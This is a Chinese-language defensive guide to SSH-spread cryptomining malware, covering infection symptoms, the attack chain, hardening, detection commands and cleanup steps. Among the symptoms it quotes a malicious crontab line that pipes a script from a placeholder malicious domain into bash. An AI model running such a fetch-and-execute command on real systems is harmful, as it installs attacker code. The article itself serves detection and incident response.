1. SSH僵尸主机挖矿木马预警:现象与危害分析
最近半年,安全团队监测到利用SSH协议漏洞进行传播的挖矿木马呈现爆发式增长。这类恶意程序通过暴力破解或利用弱密码入侵Linux服务器后,会将其转化为僵尸网络节点,在后台静默运行门罗币(XMR)等加密货币的挖矿程序。根据我们的威胁情报数据,单日新增感染主机峰值可达2000+台,主要攻击目标为云服务器、企业内网开发机和高校科研计算集群。
典型的感染症状包括:
- 系统负载异常升高(top命令显示未知进程占用CPU 90%以上)
- /tmp目录下出现随机命名的可执行文件(如xrig、xmrig)
- crontab被植入恶意任务(*/30 * * * * curl -s http://恶意域名/init.sh | bash)
- SSH日志中出现大量Failed password记录(/var/log/auth.log)
注意:部分变种会主动卸载安全监控工具(如selinux、fail2ban),并修改系统防火墙规则放行C2通信端口。
2. 攻击链深度解析:从SSH入侵到持久化驻留
2.1 初始入侵途径
攻击者主要利用三类漏洞组合拳:
- 弱密码爆破:通过字典攻击尝试root/ubuntu/admin等常见用户名+弱密码组合
- 公钥注入:利用配置错误的~/.ssh/authorized_keys写入权限
- 漏洞利用:针对OpenSSH 8.3p1以下版本的CVE-2020-15778命令注入漏洞
# 典型爆破日志特征(/var/log/auth.log) Feb 15 03:21:23 sshd[28745]: Failed password for root from 45.61.185.213 port 37291 ssh2 Feb 15 03:21:25 sshd[28747]: Failed password for ubuntu from 45.61.185.213 port 37412 ssh22.2 恶意负载投递
成功入侵后,攻击脚本通常会执行以下操作:
- 下载挖矿程序(常伪装成系统进程名如kworkerds、netns)
- 植入SSH后门(修改PAM模块或安装恶意.so库)
- 横向移动(利用已窃取的SSH密钥扫描内网其他主机)
# 常见恶意进程伪装手法 ps -ef | grep -E 'kworkerds|netns|ddgs'3. 防御方案:从基础加固到高级检测
3.1 基础防护措施
SSH服务加固:
- 禁用密码登录:修改/etc/ssh/sshd_config
PasswordAuthentication no ChallengeResponseAuthentication no - 限制登录IP:使用AllowUsers/AllowGroups
- 更改默认端口:Port 2222(需同步调整SELinux策略)
- 禁用密码登录:修改/etc/ssh/sshd_config
系统层防护:
- 安装fail2ban自动封禁爆破IP
- 定期更新OpenSSH到最新版本
- 限制cron任务权限(/etc/cron.deny)
3.2 高级威胁检测
网络流量监控:
- 检测异常外连(矿池域名通常包含pool、mine、xmr等关键词)
netstat -tulnp | grep -E '185.71.65.92|144.217.167.233'文件完整性检查:
- 使用aide监控系统关键目录
aide --check | grep -i 'xmrig'行为分析检测:
- 监控CPU异常负载
watch -n 1 "ps -eo pcpu,pid,user,args | sort -k 1 -nr | head -10"
4. 应急响应:感染后的处置流程
4.1 确认感染迹象
- 检查异常进程:
ps auxf | grep -v '\[' - 分析网络连接:
lsof -i -P -n | grep ESTABLISHED
4.2 清除恶意程序
- 终止挖矿进程:
kill -9 $(pgrep xmrig) - 清理持久化项目:
crontab -l | grep -v "malicious-domain" | crontab - rm -f /etc/cron.*/*suspicious*
4.3 系统恢复
- 重置SSH密钥对:
rm /etc/ssh/ssh_host_* dpkg-reconfigure openssh-server - 审计用户账户:
grep -E ':0:' /etc/passwd
5. 企业级防护架构设计
对于大型组织,建议部署分层防御体系:
| 防护层级 | 实施措施 | 工具示例 |
|---|---|---|
| 边界防护 | SSH访问IP白名单 | 防火墙ACL |
| 主机防护 | 文件完整性监控 | OSSEC、Wazuh |
| 行为防护 | 异常进程检测 | Falco、Auditd |
| 网络防护 | 出向流量审计 | Zeek、Suricata |
| 密钥管理 | 集中化SSH证书颁发 | HashiCorp Vault |
我在实际运维中发现,90%的SSH挖矿木马感染源于以下管理疏漏:
- 长期未更新的测试环境SSH服务
- 开发人员遗留的临时账户未清理
- 云主机安全组配置错误(0.0.0.0/0开放22端口)
建议每月执行一次SSH安全审计:
# 检查最近登录记录 last -ai | head -50 # 扫描authorized_keys文件权限 find / -name authorized_keys -exec ls -la {} \;